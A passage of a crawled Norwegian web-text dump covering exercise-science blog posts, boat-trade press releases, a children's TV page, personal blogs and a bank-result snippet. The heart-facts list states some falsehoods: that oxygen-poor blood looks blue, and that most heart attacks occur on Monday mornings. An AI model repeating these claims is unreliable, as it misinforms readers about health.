sedentary time, such as by use of accelerometers, could give a better explanation for the association of cardio-metabolic risk and being remain idle. A recent study while comparing both self-reported and objectively measured sedentary time with risk of cardio-metabolic factors has shown worse profile including high BMI, high waist circumference, high total cholesterol and being hypertensive with self-reported measures. However, objectively measured sedentary time was only associated with increased total cholesterol. (http://www.ncbi.nlm.nih.gov/pubmed?term=Sedentary%20time%20in%20relation%20to%20cardio-metabolic%20risk%20factors%3A%20differential%20associations%20for%20self-report%20vs%20accelerometry%20in%20working%20age%20adults)\n\nBenefits of physical activity outweigh the luxury and comfort of being a couch-potato. TV viewing or sedentary time should be monitored while still being engaged in exercise activities.\n\n|                                                                                 |                                                                                 |\n| ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------- |\n|  |  |\n\n# Visste du dette om hjertet og det kardiovaskul\u00e6re\u00a0systemet?\n\nPosted on 6. July 2012  by  CERG\n\n\n\n**Selv om det kardiovaskul\u00e6re systemet er et av de viktigste systemene i kroppen, er det mye folk ikke vet om det.\u00a0 Under finner du 23 punkter som vil gj\u00f8re deg en smule klokere p\u00e5 hva som skjer i det kardiovaskul\u00e6re systemet.**\n\n1.  En inaktiv person har dobbelt s\u00e5 stor risiko for \u00e5 utvikle hjerte-karsykdommer som en person som trener regelmessig og har et godt kosthold.\n2.  Tannhygienen din kan ha dramatisk innvirkning p\u00e5 din kardiovaskul\u00e6re helse. Hvis man skulle v\u00e6re s\u00e5 uheldig \u00e5 f\u00e5 tannkj\u00f8ttsykdom (gum disease), vil sjansen for \u00e5 f\u00e5 hjerteinfarkt eller slag \u00f8ke med hele 50\u00a0%.\n3.  I\u00a0l\u00f8pet av en gjennomsnittlig persons liv, vil hjertet sl\u00e5 mellom 2,5 og 3 milliarder slag.\n4.  Rundt 8 millioner blodceller d\u00f8r hvert sekund, og like mange blir f\u00f8dt.\n5.  En liten dr\u00e5pe blod kan inneholde opp til 5 millioner r\u00f8de blodceller.\n6.  Det tar ca. 20 sekunder for en r\u00f8d blodcelle \u00e5 sirkulere igjennom hele kroppen.\n7.  En r\u00f8d blodcelle sirkulerer i gjennomsnitt 250000 ganger rundt i kroppen f\u00f8r den d\u00f8r.\n8.  En r\u00f8d blodcelle kan leve i opp til 4 m\u00e5neder, p\u00e5 den tiden har blodcellen som oppgave \u00e5 mate de resterende 60 trillioner cellene i kroppen med oksygen og n\u00e6ringsstoffer.\n9.  Blod som er rikt p\u00e5 oksygen vil se r\u00f8dt ut, og blod som er oksygenfattig vil se bl\u00e5tt ut.\n10. Oksygenrikt blod reiser ut fra venstre side av hjertet i \u00e5rer som gradvis deler seg i kapill\u00e6rer der n\u00e6ring og oksygen gis til alle kroppens celler, avfallsstoffer og CO\u2082 slippes ut i blodstr\u00f8mmen igjen for \u00e5 bli filtrert ut i levra og i nyrene og for \u00e5 bli pustet ut. Blodet reiser i vener tilbake til h\u00f8yresiden av hjertet der det vil bli pumpet videre til lungene for \u00e5 mettes med oksygen.\n11. Hjertet er omringet av en \u00abpose\u00bb kalt hjerteposen eller pericardium\n12. P\u00e5 et \u00e5r, vil et friskt hjerte banke\u00a0ca. 30 millioner ganger\n13. Den klassiske \u00abdunk-dunk\u00bb-lyden som man h\u00f8rer hvis man lytter til hjertet, oppst\u00e5r ikke pga. muskelkontraksjon slik som mange tror, men ved at klaffer \u00e5pner og lukker seg.\n14. En gjennomsnittlig voksen person har ca. 5 liter blod i sirkulasjon, og et spedbarn har\u00a0ca. 1 liter.\n15. Hjertet er en muskel p\u00e5 st\u00f8rrelse med en knyttneve.\n16. Om man tar et hjerte ut av en levende kropp, vil det fortsette \u00e5 banke helt til muskelfibrene har brukt opp det oksygenet det fikk tilf\u00f8rt via blodet f\u00f8r det ble tatt ut.\n17. Den kraftige kontraksjonen av hjertemuskelen er sterk nok til \u00e5 sprute blod hele 9,14 meter.\n18. Den f\u00f8rste \u00e5pne hjerteoperasjonen ble utf\u00f8rt i 1893 av Dr. Daniel Hall Williams.En gang i historien trodde man at hjertet var opphavet til alle f\u00f8lelser.\n19. Et flertall av hjerteinfarkt forekommer p\u00e5 mandager mellom 8 og 9 p\u00e5 morgenen.\n20. Den f\u00f8rste vellykkede hjertetransplantasjonen ble utf\u00f8rt i Cape Town i Afrika- 1967.\n21. Selv langtidsr\u00f8ykere kan dra nytte av \u00e5 \u00abstumpe r\u00f8yken\u00bb. Innen 3 \u00e5r har den tidligere r\u00f8ykeren like godt grunnlag for god kardiovaskul\u00e6r helse som han/hun hadde f\u00f8r han/hun begynte \u00e5 r\u00f8yke.\n22. Hjertet er kroppens viktigste muskel.\n23. Hjertemuskelen m\u00e5 p\u00e5 lik linje med andre muskler trenes for at de skal kunne yte, for eksempel: hvis man slutter \u00e5 bruke biceps, vil ikke bicepsmuskelen klare \u00e5 yte kraft n\u00e5r man f\u00e5r bruk for det.\n\nDette var kun noen av de mange interessante faktaene om det kardiovaskul\u00e6re systemet. Vi vet at hjertet er en muskel som p\u00e5 lik linje med andre muskler trenger trening for \u00e5 kunne v\u00e6re i stand til \u00e5 yte. S\u00e5, da er det\u00a0bare \u00e5 finne frem joggeskoene og begynne med treningen, det er tross alt hjertet som pumper liv i kroppene v\u00e5re\\!\n\n# Tilrettelegg sommertreningen din\\!\n\nPosted on 3. July 2012  by  CERG\n\n**Hvordan kan man s\u00f8rge for \u00e5 holde seg i form n\u00e5r ferierutinene tar over?**\n\n\n\nDet finnes vel knapt noen bedre motivasjon for trening enn sommerens ankomst\\! Selv om masse fritid kan v\u00e6re motiverende for mye fysisk aktivitet kan det likevel hende du er bekymret for at treningsprogrammet skal g\u00e5 i st\u00e5 n\u00e5r du legger om p\u00e5 hverdagsrutinene. Hvis du allerede f\u00f8lger et program og ikke vil miste fordelene du drar av regelmessig trening er det viktig \u00e5 v\u00e6re klar over egen fysisk form, samtidig som du ikke presser deg selv for langt.\n\nHvor mye trening trengs? Dagens anbefaling er at man holder p\u00e5 med fysisk aktivitet i minst 30 minutter alle dagene i uken, enten sammenhengende eller i flere bolker p\u00e5 minst 10 minutter hver. Dette b\u00e5de forebygger og behandler tilstander som h\u00f8yt blodtrykk, h\u00f8yt kolesterol, diabetes type 2, depresjon og mer. Alternativt kan man variere treningsintensiteten og trene en litt kortere intervall\u00f8kt (flere h\u00f8yintensitetsdrag med aktive hvileperioder). Dette har vist seg \u00e5 v\u00e6re den mest effektive m\u00e5ten \u00e5 raskt forbedre kondisjonen (vi har tidligere skrevet om vanlige sp\u00f8rsm\u00e5l rundt intervalltrening p\u00e5 bloggen.)\n\n**Tren trygt og effektivt**  \nHusk at det tross alt er sommerferien vi snakker om, som burde bety passe mengder avslapning og g\u00f8y\\! Hvis hensikten er \u00e5 lade opp batteriene trenger det ikke v\u00e6re mer komplisert enn \u00e5 ta en morgentur eller jogge litt \u2013 du trenger ikke ta opp maratontrening istedenfor \u00e5 spise jordb\u00e6r med familien. Respekter kroppens grenser og pr\u00f8v deg frem til en god balanse. Men det er ingenting i veien for \u00e5 \u00abta med\u00bb kondistreningen p\u00e5 hytta, selv uten pulsklokke.\n\n# Adapting your workouts to\u00a0summer\n\nPosted on 3. July 2012  by  CERG\n\n**How to keep fit while you are away from the gym?**\n\n\n\nThere is no better motivation for keeping or even starting a physical exercise program than summertime\\! Plenty of time of well-deserved leisure for you is just one of the ways to motivate yourself to exercise during your holidays. If you are already following a routine of exercise and you do not want to lose all the benefits of regular exercise, you may try to keep it as often as you can, but if you are planning on changing your lifestyle and engaging in a physical exercise program, it is important to be aware of your present physical condition and to not exceed your limits.\n\nHow much exercise is needed? ** Current guidelines recommend working your body for at least 30 min most days of the week, either continuously or in bouts of at least 10 minutes. This can help prevent and manage diseases like high blood pressure, high cholesterol, type 2 diabetes, depression and many others. Another pattern of exercise, which is the most effective in improving cardiovascular fitness leading to dramatic improvements in a short period of time, involves varying the exercise intensity. Combining a series of low to high-intensity exercise workouts interspersed with rest or relief periods within a single bout of exercise is termed interval training. (We've previously addressed some common questions about interval training.)**\n\n**Exercise safely and effectively*  \n***Remember that it is your summer vacation, which should mean a lot of fun and relaxation too. So, you are not supposed to run a race if you need to refuel your body and mind with energy. Why not to go for a morning walk or jog\\! It is important to respect your body limits and never go over them\\!\n\n", "language": "no", "__index_level_0__": "034b03b4-47fd-4a9e-a891-0b7140b0b9ac"}
{"url": "http://nrksuper.no/super/blog/mot-skilpadda-pernille/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:37:14Z", "text": "        ##### Alle kvisser\n\n# Dyrevenn\n\n\n\n# M\u00f8t skilpadda Pernille\\!\n\nSkilpadda Pernille er en r\u00f8dfotskilpadde og bor hos en familie i Bergen, men f\u00f8r hun flyttet ditt m\u00e5tte familien s\u00f8ke Mattilsynet om lov. I Norge kan man ikke ha eksotiske dyr som kj\u00e6ledyr uten en helt spesiell tillatelse.\n\nMalin fra Dyrevenn dro p\u00e5 bes\u00f8k til familien for \u00e5 finne ut hvordan skilpaddelivet er for Pernille i Bergen\\!\n\n**Se hele programmet i nett-tv p\u00e5 onsdag\\! Da f\u00e5r du vite mer om skilpadder\\!**\n\nAv {{ data.author.name }}\n\n", "language": "no", "__index_level_0__": "fb6dff22-0ccb-4de0-9888-2f578c0957d0"}
{"url": "http://www.norboat.no/materiell-og/pressemeldinger/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:35:44Z", "text": "# Pressemelding\n\n## DIGITAL VERKSTEDL\u00d8SNING FOR B\u00c5TBRANSJEN\n\n ** tirsdag 4. juli 2017 \u2013 16.29   ** Hege Ousland \n\nNorboat tilbyr n\u00e5 sine medlemmer et moderne og bransjetilpasset digitalt bookingsystem for b\u00e5tforhandlere, verksteder og marinaer. I samarbeid med Synkarion Maritim lanseres n\u00e5 systemet i full bredde etter en testperiode i noen utvalgte pilotbedrifter i bransjen.\n\n\n\n## REKORDBES\u00d8K OG GODT SALG P\u00c5 \u00c5RETS SJ\u00d8EN FOR ALLE\n\n ** tirsdag 28. mars 2017 \u2013 16.15   ** Hege Ousland \n\nS\u00f8ndag 26. mars klokken 18.00 stengte \u00e5rets Sj\u00f8en for Alle p\u00e5 Lillestr\u00f8m og Norges Varemesse. S\u00f8ndagens bes\u00f8kstall ble 5459. Med det har b\u00e5tmessen hatt totalt 28 310 bes\u00f8kende, og en \u00f8kning p\u00e5 6% fra \u00e5r 2016, og hele 71% siden 2014. Vi takker publikum for enorm oppslutning om Norges st\u00f8rste b\u00e5tmesse.\n\n\n\n## B\u00c5TFOLKET SKAL TA PLASTEN MED HJEM\n\n ** torsdag 23. mars 2017 \u2013 22.00   ** Hege Ousland \n\nOppmerksomheten rundt plastforurensning i havet har eksplodert de siste m\u00e5nedene. N\u00e5 inviterer Norboat \u2013 B\u00e5tbransjeforbundet i Norge hele b\u00e5tbransjen og b\u00e5tfolket til en nasjonal kampanje for \u00e5 hindre at plast havner p\u00e5 sj\u00f8en. - Det handler ikke om \u00e5 rydde, det viktige er at vi slutter \u00e5 kaste, sier Leif Bergaas i Norboat.\n\n\n\n## SJ\u00d8EN FOR ALLE GLIMTER TIL MED GULLREKKE OG STAND-UP\n\n ** mandag 20. mars 2017 \u2013 13.52   ** Hege Ousland \n\nDe to siste \u00e5rene har Sj\u00f8en for Alle satset friskt p\u00e5 familiekonseptet og gratisaktiviteter for barn. Nytt av i \u00e5r 22.-26. mars er at b\u00e5tmessen oppf\u00f8rer Norges f\u00f8rste vannmusikal. I tillegg utgj\u00f8r stand up artistene Sigrid Bonde Tusvik, Alex Ros\u00e9n og Thomas Leikvoll messens gullrekke i helgen.\n\n\n\n## INVITASJON TIL EN SNIKTITT P\u00c5 \u00c5RETS R\u00c5ESTE B\u00c5TNYHETER\n\n ** mandag 20. mars 2017 \u2013 13.11   ** Hege Ousland \n\nRekordmange b\u00e5ter i high-end klassen og et stort antall premierer og nyheter fra blant annet Yamaha, Kellox, BRP, Raymarine AS, Erling Sande AS, Brunswick og Frydenb\u00f8 Marine AS vil gi Sj\u00f8en for Alle en pangstart.\n\n\n\n## SJ\u00d8EN FOR ALLE FL\u00d8RTER MED SEILB\u00c5TENTUSIASTER\n\n ** onsdag 15. mars 2017 \u2013 15.08   ** Hege Ousland \n\nI 2017 fornyer Sj\u00f8en for Alle innsatsen overfor seilb\u00e5tinteresserte. Ikke bare er messehistoriens desidert st\u00f8rste b\u00e5t en More 55. Et n\u00e6rt samarbeid med Norges Seilforbund s\u00f8rger for \u00e5rets Seilting skal avholdes p\u00e5 b\u00e5tmessen 25.-26. mars. \u00a0\n\n\n\n## NORDKAPP MED 4 NORGESPREMIERER P\u00c5 SFA\n\n ** mandag 13. mars 2017 \u2013 12.22   ** Hege Ousland \n\nP\u00e5 Sj\u00f8en for Alle 22.-26. mars stiller Nordkapp ut 18 b\u00e5ter. Hele fire av dem har Norgespremiere: Nordkapp Enduro 805, Nordkapp Avant 705, Nordkapp Avant 705 Ranger og Nordkapp Noblesse 605 Ranger.\n\n\n\n## IBIZA TOURING 640 - PREMIERE FRA IBIZA BOATS P\u00c5 SJ\u00d8EN FOR ALLE\n\n ** mandag 13. mars 2017 \u2013 12.17   ** Hege Ousland \n\nIbiza Boats AS er landets eneste gjenlevende b\u00e5tbyggeri med serieproduksjon av hurtigg\u00e5ende b\u00e5ter i sin klasse. P\u00e5 Sj\u00f8en for Alle stiller selskapet ut 6 b\u00e5ter og har premiere p\u00e5 Ibiza 640 Touring.\n\n\n\n## LEVENDE B\u00c5TLIV 2025\n\n ** fredag 10. mars 2017 \u2013 12.59   ** Hege Ousland \n\nEngasjerer, inspirerer og aktiverer for \u00e5 sikre et levende norsk b\u00e5tliv i 2025. Rekruttering av nye b\u00e5teiere for et b\u00e6rekraftig b\u00e5tliv og b\u00e5tbransje er en global utfordring som det jobbes aktivt med internasjonalt.\n\n\n\n## SJ\u00d8EN FOR ALLE YPPER DAMENE TIL \u00c5 TA RORET\n\n ** mandag 6. mars 2017 \u2013 10.40   ** Hege Ousland \n\n\n\n## MORE 55 - MESSEHISTORIENS ST\u00d8RSTE B\u00c5T TIL SJ\u00d8EN FOR ALLE\n\nS\u00e5 er det klart: Premiumhallen p\u00e5 Sj\u00f8en for Alle 2017 vil romme messehistoriens st\u00f8rste b\u00e5t noensinne. Seilb\u00e5ten More 55 kommer fra svensk-kroatiske More Boats, har en startpris p\u00e5 387 000 \u20ac eks. mva. og skal st\u00e5 utstilt i Premiumhallen.\n\n\n\n## SJ\u00d8EN FOR ALLE MED TRUMP RETORIKK I NY KAMPANJE\n\n ** l\u0159rdag 4. februar 2017 \u2013 21.45   ** Hege Ousland \n\nNorges st\u00f8rste b\u00e5tmesse g\u00e5r humoristiske veier for \u00e5 vekke folks oppmerksomhet. Reklamekampanjen som lanseres den 27.1. er inspirert av Donald Trumps lek med tall og \"alternative fakta\".\n\n\n\n## HYLLER REGJERINGEN FOR MILJ\u00d8INITIATIV | VRAKPANT TIL B\u00c5TFOLKET P\u00c5 15.000,-\n\n ** fredag 16. desember 2016 \u2013 13.16   ** Hege Ousland \n\nRegjeringen vedtok i statsbudsjettet for 2017 \u00e5 gi tilskudd for vraking av fritidsb\u00e5ter. Dette skal gis som en betaling for avhending av b\u00e5ter til godkjent retursted p\u00e5 15000 kroner. \u2013Dette er \u00e5rets julegave til b\u00e5tfolket og milj\u00f8et, sier Leif Bergaas, daglig leder i b\u00e5tbransjeforbundet i Norge.\n\n\n\n## Totalt 26 616 bes\u00f8kende\n\n ** mandag 14. mars 2016 \u2013 14.32   ** Hege Ousland \n\nSj\u00f8en For Alle, Norges st\u00f8rste b\u00e5tmesse, ble arrangert fra 9.-13. mars p\u00e5 Norges Varemesse p\u00e5 Lillestr\u00f8m. Da messen stengte s\u00f8ndag hadde totalt 26 616 mennesker tatt turen innom.\n\n\n\n## Eksplosiv vekst i b\u00e5timporten i 2015\n\n ** onsdag 9. mars 2016 \u2013 12.15   ** Hege Ousland \n\nTil tross for svak kronekurs \u00f8kte importen av fritidsb\u00e5ter med nesten 400 millioner kroner, til n\u00e6r halvannen milliard kroner i fjor. Desidert st\u00f8rst var \u00f8kningen for b\u00e5ter over 5,5 m med p\u00e5hengsmotorer. Importen fra Polen eksploderte og \u00f8kte med over 100 prosent. - Til tross for urolige \u00f8konomiske tider er interessen for nye b\u00e5ter stor og 2015 ble et godt import\u00e5r, sier Leif Bergaas daglig leder i B\u00e5tbransjeorganisasjonen Norboat.\n\n\n\n## \u00d8konomisk uro skaper stor norsk b\u00e5tinteresse\n\n ** onsdag 9. mars 2016 \u2013 12.12   ** Hege Ousland \n\n\\-\u00a0\u00a0\u00a0\u00a0\u00a0 Flere velger b\u00e5tliv fremfor utenlandsturer. Mellomstore b\u00e5ter i st\u00f8rrelsen 4-7 meter er \u00e5rets store trend for b\u00e5tfolket n\u00e5r d\u00f8rene om noen dager \u00e5pnes for Norges st\u00f8rste b\u00e5tmesse, Sj\u00f8en for alle. - N\u00e5r det er urolige \u00f8konomiske tider velger folk \u00e5 bli ved norskekysten fremfor \u00e5 reise til utlandet. Da er det b\u00e5ter i en mer folkelig prisklasse som st\u00e5r \u00f8verst p\u00e5 \u00f8nskelisten, sier Leif Bergaas daglig leder i b\u00e5tbransjeorganisasjonen Norboat.\n\n\n\n## B\u00e5tbransjen vil ha endring av loven om vestp\u00e5bud\n\n ** fredag 22. januar 2016 \u2013 13.50   ** Hege Ousland \n\nB\u00e5tbransjens organisasjon, NORBOAT har gjort en unders\u00f8kelse blant sine medlemmer om det nye vestp\u00e5budet og svarene er tydelige. B\u00e5tbransjen \u00f8nsker ikke at en 8 meters-grense skal regulere bruk av flyteplagg eller ikke. NORBOAT \u00f8nsker endring av loven.\n\n\n## Eivind Amble - \u00c6resmedlem i Norske B\u00e5tbyggeriers Landsforening\n\n ** tirsdag 16. juni 2015 \u2013 21.05   ** Hege Ousland \n\nNorges kanskje mest kjente b\u00e5tkonstrukt\u00f8r, Eivind Amble, ble utnevnt til \u00e6resmedlem i Norske B\u00e5tbyggeriers Landsforening 29. mai. Han fikk utnevnelsen p\u00e5 bakgrunn av sine mange uvurderlige bidrag til landets b\u00e5tbyggere gjennom flere ti\u00e5r.\n\n\n\n## Starter b\u00e5tsommeren p\u00e5 Lillestr\u00f8m\n\n ** onsdag 7. januar 2015 \u2013 18.40   ** Hege Ousland \n\n(19. desember) Igjen er \u00e5rets store b\u00e5tmesse Sj\u00f8en for alle tilbake til Norges Varemesse p\u00e5 Lillestr\u00f8m, men aktivitetstilbudet og omfanget er langt st\u00f8rre enn tidligere.\n\nNorboat er B\u00e5tbransjeforbundet i Norge. Vi representerer den norske fritidsb\u00e5tbransjen. Norboats m\u00e5l er \u00e5 skape best mulige ramme-betingelser for b\u00e5tbransje og b\u00e5tliv. Norboat er ogs\u00e5 en h\u00f8ringsinstans og samarbeidspartner for offentlige etater og andre b\u00e5tlivs-organisasjoner.\n", "language": "no", "__index_level_0__": "5fda0717-978e-4163-8aa4-de50998bd8e9"}
{"url": "https://etdrysskanel.com/2012/06/22/fodselsdagsfint/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:21:07Z", "text": "# Et dryss kanel\n\n## A Sprinkle of Cinnamon\n\n\n\n# F\u00f8dselsdagsfint\n\nPostet den 22. juni 2012 av Synne Cinnamon\n\nN\u00e5 vil jeg gjerne vise frem noe av det jeg fikk til bursdagen min\\!\n\n\n\nOi\\! Ikke alt kunne bli med her, men\u00a0 vi ser blant annet flere typer te, mange spennende b\u00f8ker, en konsert-DVD, god kosmetikk, et par s\u00f8te \u00f8redobber, en topp med katter p\u00e5 og massevis av postkort jeg kan sende\\! Dessuten mottok jeg litt bursdagspost selv ogs\u00e5 (takk til Trine Marie, Bruno, Tine Katrine og Josefine\\!). Hurra for \u00e5 v\u00e6re s\u00e5 heldig\\!\n\n\n\n\n\n\n\n\n\n\n\n\n\nKj\u00e6restegaver er alltid ekstra bra, synes jeg. Jonasflotte ga meg den store boken om Kaizers Orchestra, som jeg elsker (og som jeg forresten s\u00e5 spille p\u00e5 Norwegian Wood i helga\\!). Videre fikk jeg en eske som inneholdt hundre postkort med klassiske Penguin-forsider, som jeg har \u00f8nsket meg siden jeg snublet over den i februar (i den herlige, irske bokhandelen jeg presenterte her). Kortet var dessuten en diskett\\! Supersjarmerende\\!\n\n\n\n\n\nJeg elsker presanger, alts\u00e5. Det vet Ine, en av mine beste venninner, som har utnevnt meg til gavesjef i bryllupet sitt. For en \u00e6re\\! Tenk, dette blir mitt f\u00f8rste ordentlige bryllup, og jeg f\u00e5r bidra, og jeg har ny kjole, og det hele skjer i morgen. Jonasflotte og jeg reiser til L\u00f8ten i kveld for \u00e5 kunne bruke hele Sankthansl\u00f8rdagen p\u00e5 \u00e5 feire at Ine og St\u00e5le gifter seg. Jeg kunne ikke gledet meg mer, tror jeg.\n\nGod midtsommerhelg, alle sammen\\!\n\n\n\n## 13 tanker p\u00e5 \"F\u00f8dselsdagsfint\"\n\n1.   Maren sier:\n    \n    22\\. juni 2012, kl. 13:41\n    \n    Du fikk s\u00e5 masse fint\\! H\u00e5per min smakte, hihi. Og jeg kan ikke tenke meg en bedre pakkesjef enn deg\\! \\<3\n    \n2.   Hege sier:\n    \n    22\\. juni 2012, kl. 14:34\n    \n    Oi, s\u00e5 mye fint\\!\\! :-) S\u00e5 hyggelige mennesker du kjenner som gir s\u00e5 hyggelige gaver\\!Jeg vil gjerne se bilde med den kattetoppen p\u00e5, for den var s\u00e5 s\u00f8t.\n    \n3.   Maria sier:\n    \n    22\\. juni 2012, kl. 15:32\n    \n    S\u00e5 mye fint du har f\u00e5tt\\! Elsker kortet fra Jonas :D\n    \n4.   Johanne sier:\n    \n    22\\. juni 2012, kl. 19:20\n    \n    S\u00e5 mange fine g\u00e5ver\\! M\u00e5 seie at pingvinkorta var ein favoritt.\n    \n5.   Ane sier:\n    \n    22\\. juni 2012, kl. 21:25\n    \n    S\u00e5 mye flott\\! P\u00e5 vegne av venner er verdt \u00e5 lese og enda litt, alts\u00e5. Kos deg i bryllup i helga\\!\n    \n6.   Peter Olson sier:\n    \n    23\\. juni 2012, kl. 13:07\n    \n    \u2026 ocj jag missade din f\u00f6delsedag\\! Shame on me\\! F\u00f6r sent, men\u2026. Bon anniversaire\\!\n    \n7.   Marlou sier:\n    \n    24\\. juni 2012, kl. 13:30\n    \n    \u00e5 s\u00e5 mange fine ting du har f\u00e5tt\\! elsker disse penguin books kortene og visste ikke det finnes en hel ESKE\\! hallo, den m\u00e5 jeg ogs\u00e5 ha :D\n    \n8.   Anonymous sier:\n    \n    24\\. juni 2012, kl. 19:24\n    \n    ja, det er noe du mye gjore videre godt i din veien a presentere kjaerlig gave fra \"Jonas\" , og du har helt rett, hvis du vil tillate meg a si at jeg ble sjarmert av handskrift av \"Jonas\". jeg synes pingvinene vil reise entusiaster til a snakke(absolutt original\\!).. og jeg elsker at en slik vakker danser er i dette landskapet av blomster. hver og en liker deg mange mange mye. Som du er en Suksess ,og mer.. bryllupet til din beste venn forventes a vaere Super Flott\\!bruno\n    \n9.   Rakel sier:\n    \n    24\\. juni 2012, kl. 22:24\n    \n    S\u00e5 mye fint\\! :DHerlig\\!\n    \n10.  Ting som gj\u00f8r en glad sier:\n    \n    25\\. juni 2012, kl. 18:41\n    \n    Heldiggris\\! Gleder meg til min bursdag (selv om jeg f\u00e5r verdens fineste gave f\u00f8r den tid)\n    \n11.  Synne sier:\n    \n    25\\. juni 2012, kl. 22:59\n    \n    Jeg skal se hva jeg kan gj\u00f8re, hihi\\!\n    \n12.  Synne sier:\n    \n    25\\. juni 2012, kl. 23:00\n    \n    Ja, den sies \u00e5 v\u00e6re veldig bra\\! Jeg gleder meg\\!\n    \n13.  Synne sier:\n    \n    25\\. juni 2012, kl. 23:06\n    \n    Jeg ble ogs\u00e5 sjarmert og glad av gaven fra Jonas\\! Takk for de hyggelige ordene. Bryllupet var nydelig\\!\n    \n\n\n# Bonjour\\!\n\nJeg heter Synne. Jeg er en glad geek som liker eventyr, vin, vintage, katter og hverdagsmagi. Jeg vil helst reise hele tida, men heldigvis er de sm\u00e5 gledene \u00e5 oppdrive overalt, og som frilanser kan jeg jobbe hvor jeg vil\\! For \u00f8yeblikket bor jeg i Oslo.  \n\u2013 \u2013 \u2013 \u2013 \u2013  \nMy name is Synne. I'm a Norwegian geek who likes adventures, wine, vintage, cats and everyday magic. I'd love to travel all the time, but luckily the little joys in life are everywhere, and as a freelancer I can work from wherever\\! These days I live in Oslo.\n\n", "language": "no", "__index_level_0__": "b72d2e45-e5db-4082-9a75-04397cdd9283"}
{"url": "http://docplayer.me/61440357-Bank-1-oslo-akershus-as-regnskap-per-3-kvartal-2011.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-25T00:27:18Z", "text": "\n Resultat f\u00f8r skatt etter er p\u00e5 5,8 mill. kr, mot 6,7 mill. kr for tilsvarende periode i fjor. Det er i perioden bokf\u00f8rt inngang p\u00e5 tap p\u00e5 utl\u00e5n og garantier med 0,5 mill. mot kr 0 p\u00e5 samme tid i fjor.\n\n### Netto andre driftsinntekter utgj\u00f8r 10,2 mill.kr., mot 9,5 mill.kr. \u00e5ret f\u00f8r. \u00d8kt provisjon fra Eika Boligkredit utgj\u00f8r den st\u00f8rste \u00f8kningen.\n\n", "language": "no", "__index_level_0__": "cb6b5467-8923-4bea-8e79-a10081fe3aa2"}
{"url": "http://jegergudsbarn.blogspot.com/2009/01/dikt.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:07:22Z", "text": "    \n## torsdag 29. januar 2009\n\n### Dikt\n\nFor en stund siden begynte jeg \u00e5 skrive dikt. Det var min kj\u00e6re broder som fikk meg til det, og da jeg hadde skrevet det f\u00f8rste diktet var det gjort. Jeg har etter hvert funnet ut at det er en super selvterapi, og er i tillegg veldig morsomt. S\u00e5 her kommer er av mine f\u00f8rste dikt, ikke veldig mye bearbeidet, men et \u00f8yeblilkks inspirasjon=)  \n  \n**En forvirret ten\u00e5ring  \n**En forvirret ten\u00e5ring  \nKrysser livets veier  \nStopper opp i alle veikryss;  \n\"Hva skal jeg n\u00e5?\"  \nHva vil hun egentlig?  \nTen\u00e5ringen snur seg  \nSer seg tilbake p\u00e5 det som har v\u00e6rt  \nLurer p\u00e5 hvordan ting kunne ha v\u00e6rt  \nHvis hun hadde tatt en annen vei  \nVentet i et annet kryss  \n  \nEn forvirret ten\u00e5ring  \nFinner gleden og troen  \nP\u00e5 det som er godt og det som er vondt  \nKj\u00e6rligheten kommer i fra hjerte  \nFra en som har tatt bolig i henne  \nEn hun er villig til \u00e5 ofre livet for  \nLivet er ikke lengre hennes, men Hans  \nHun har valgt den rette sti  \nHun smiler lykkelig der hun vandrer  \nP\u00e5 vei til himmelen  \n  \n  \nDiktskriving anbefales p\u00e5 det sterkeste\\!\n\n14:22           \n\n \n#### 9 kommentarer:\n\n\n\n\n\nMarita sa...\n\nDu e s\u00e5 flink Marit\\! Kan tenka meg at da ofte e godt \u00e5 skriva ned. Eg f\u00e5r ikkje s\u00e5 godt til \u00e5 skriva dikt, men e godt \u00e5 f\u00e5 ting ned p\u00e5 papiret. Keep up the good work:)\n\n 29. januar 2009 kl. 23:12    \n\n \n\nS\u00e5 flink du e, Marit\\! Veldig fint dikt\\!  \nEr sant.. Dikt er s\u00e5 g\u00f8y\\! Tenker det snart kommer et hos meg ogs\u00e5..  \nSt\u00e5 p\u00e5\\!\\!\n\n 30. januar 2009 kl. 03:46    \n\n\n\n\n\nSynnoove sa...\n\nKult Marit\\! :) Da e visst ikkje berre innanfor Biologifaget du kan skriva dikt;) Glede meg t \u00e5 lesa fleire:-)  \n  \nHei og hopp, du e topp\\!\n\n 30. januar 2009 kl. 09:18    \n\n\n\n\n\nTakk, takk alle sammen^^\n\n 1. februar 2009 kl. 01:33    \n\n\n\ndette varmet mitt hjerte\\!\n\n 1. februar 2009 kl. 15:15    \n\n\n\n\n\nMarit sa...\n\nDet er bra \u00d8yvind;) ^^\n\n 2. februar 2009 kl. 23:17    \n\n\n\n\n\nmalene sa...\n\nDikt e s\u00e5 spennende\\! Eit enkelt lite dikt kan tolkast ut i dimensjoner\\! Et dikt kan f\u00e5 deg i godt hum\u00f8r, f\u00e5 deg til \u00e5 tenke og masse andre ting\\! God tankesorterer og underholder om ein skulle kjede seg.. Ka e vel ikkje kulere enn \u00e5 f\u00e5 eit dikt?? :D So keep dikting everyone ;)\n\n 4. februar 2009 kl. 05:45    \n\n\n\n\n\nRahim Nicolay Ali sa...\n\nKonge\\! Kanskje jeg skal pr\u00f8ve meg p\u00e5 dikt jeg ogs\u00e5:-) Hehe.. Lekte litt med det f\u00f8r.  \n  \nEllers alt bra?\n\n 10. februar 2009 kl. 02:20    \n\n\n\n\n\nMarit sa...\n\nS\u00e5 bra, det er kan komme veldig mange interresante og morsomme ting ut av diktiskriving=)  \n  \nEllers er alt bra vettu^^ Skal v\u00e6re med p\u00e5 leir med menigheten min neste uke (\u00f8stlandet har vinterferie da). Vi skal st\u00e5 i bakken i Hemsedalm, og jeg gleder meg sinnsykt mye=D  \n  \nDeg da?\n\n 10. februar 2009 kl. 11:35    \n\n", "language": "no", "__index_level_0__": "5fe3e544-b632-4fb9-8afc-05fe0bd98410"}
